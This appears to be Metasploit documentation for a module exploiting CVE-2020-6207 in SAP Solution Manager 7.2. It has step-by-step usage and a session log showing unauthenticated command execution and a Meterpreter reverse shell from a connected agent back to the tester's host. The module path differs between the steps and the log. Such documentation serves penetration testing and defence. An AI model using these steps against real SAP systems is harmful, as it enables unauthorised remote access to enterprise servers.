## Vulnerable Application
This module exploits the CVE-2020-6207 vulnerability within the SAP EEM servlet (tc~smd~agent~application~eem) of
SAP Solution Manager (SolMan) running version 7.2. The vulnerability occurs due to missing authentication
checks when submitting a SOAP request to the /EemAdminService/EemAdmin page to get information about connected SMDAgents,
send HTTP request (SSRF) and execute OS command on connected SMDAgent. Works stable in connected SMDAgent with Java version 1.8.

Successful exploitation will allow unauthenticated remote attackers to get reverse shell from connected to the SolMan
agent as the user under which it runs SMDAgent service, usually daaadm.

Paper: [An Unauthenticated Journey to Root][1]

### Application Background
In SAP landscapes, SolMan could be compared to a domain controller system in the Microsoft world.
It is a technical system that is highly connected with powerful privileges to all other SAP systems.
Once an SAP system is connected to the solution manager, it receives the name of a "managed" or "satellite" system.
As an administration solution, SolMan is intended to centralize the management of all the systems within the landscape by
performing actions such as implementing, supporting, monitoring and maintaining enterprise solutions.

### Installation Steps
Steps to install, configure and manage SolMan can be found online at [this page][2].

Once set up and configured, the instances will be vulnerable at the default HTTP port 50000.

## Verification Steps

1. Start msfconsole
1. Do: `workspace [WORKSPACE]`
1. Do: `use auxiliary/admin/sap/sap_2020_6207_solman_rs`
1. Do: `set RHOSTS [SolMan IP]`
1. Do: `set LHOST [Your IP]`
1. Do: `check`
1. Verify that the target is vulnerable and the list of connected agents was returned.
1. Do: `set AGENT [Connected agent server name]`
1. Do: `exploit`
1. Verify that the session from the connected agent was created.

## Options

### TARGETURI

This is the path to the EEM admin page of the SolMan that is vulnerable to CVE-2020-6207.
By default, it is set to `/EemAdminService/EemAdmin`. However, it can be changed if SolMan
was installed by a path different from that of the web root. For example, if the SolMan
server was proxied to the `/solman/` path under the web root, then this value would be
set to `/solman/EemAdminService/EemAdmin`.

### AGENT

Connected agent server name.
Example: `linux_agent`

## Scenarios

### Vulnerable SolMan 7.2 running on agent: test_linux with OS: Linux and java version: 1.8

```
msf > workspace -a SAP_TEST
[*] Added workspace: SAP_TEST
[*] Workspace: SAP_TEST
msf > use exploit/multi/sap/cve_2020_6207_solman_rs
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(multi/sap/cve_2020_6207_solman_rs) > set RHOST 172.16.30.46
RHOST => 172.16.30.46
msf exploit(multi/sap/cve_2020_6207_solman_rs) > set LHOST 192.168.50.3
LHOST => 192.168.50.3
msf exploit(multi/sap/cve_2020_6207_solman_rs) > check

[+] Successfully retrieved agent list:
Connected Agents List
=====================

 Server Name   Host Name                Instance Name  OS Name                 Java Version
 -----------   ---------                -------------  -------                 ------------
 test_windows  SAP731.corp.test.com     SMDA97         Windows Server 2008 R2  1.6.0_29
 test_linux    SAPERP7.corp.test.com    SMDA98         Linux                   1.8.0_25

[+] 172.16.30.46:50000 - The target is vulnerable.
msf exploit(multi/sap/cve_2020_6207_solman_rs) > set AGENT test_linux
AGENT => test_linux
msf exploit(multi/sap/cve_2020_6207_solman_rs) > exploit

[*] Started reverse TCP handler on 192.168.50.3:4444
[*] Enable EEM on agent: test_linux
[*] Sending stage (3008420 bytes) to 172.16.30.14
[*] Command Stager progress - 100.00% done (809/809 bytes)
[*] Meterpreter session 1 opened (192.168.50.3:4444 -> 172.16.30.14:60203) at 2021-03-25 17:03:38 +0300

meterpreter > getuid
Server username: daaadm @ SAPERP7 (uid=1004, gid=1001, euid=1004, egid=1001)
meterpreter > pwd
/usr/sap/DAA/SMDA98/SMDAgent
meterpreter > ipconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 16436
Flags        : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv4 Address : 127.0.0.2
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::


Interface  2
============
Name         : eth0
Hardware MAC : 00:0c:29:f4:8d:e0
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 172.16.30.14
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::20c:29ff:fef4:8de0
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/sap/cve_2020_6207_solman_rs) > services
Services
========

host          port   proto  name  state  info
----          ----   -----  ----  -----  ----
172.16.30.46  50000  tcp    soap  open   SAP Solution Manager

msf exploit(multi/sap/cve_2020_6207_solman_rs) > vulns

Vulnerabilities
===============

Timestamp                Host          Name                                                            References
---------                ----          ----                                                            ----------
2021-03-25 14:03:37 UTC  172.16.30.46  SAP Solution Manager remote unauthorized OS commands execution  CVE-2020-6207,URL-https://i.blackhat.com/USA-20/Wednesday/us-20-
                                                                                                       Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-E
                                                                                                       nterprise-Software-Servers-wp.pdf,URL-https://github.com/chipik/
                                                                                                       SAP_EEM_CVE-2020-6207

msf exploit(multi/sap/cve_2020_6207_solman_rs) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                                                       Connection
  --  ----  ----                   -----------                                                                       ----------
  1         meterpreter x64/linux  daaadm @ SAPERP7 (uid=1004, gid=1001, euid=1004, egid=1001) @ SAPERP7.corp.te...  192.168.50.3:4444 -> 172.16.30.14:60203 (::1)

```

[1]: https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf
[2]: https://blogs.sap.com/2016/02/16/solution-manager-72-installation-and-configuration-i-installations/
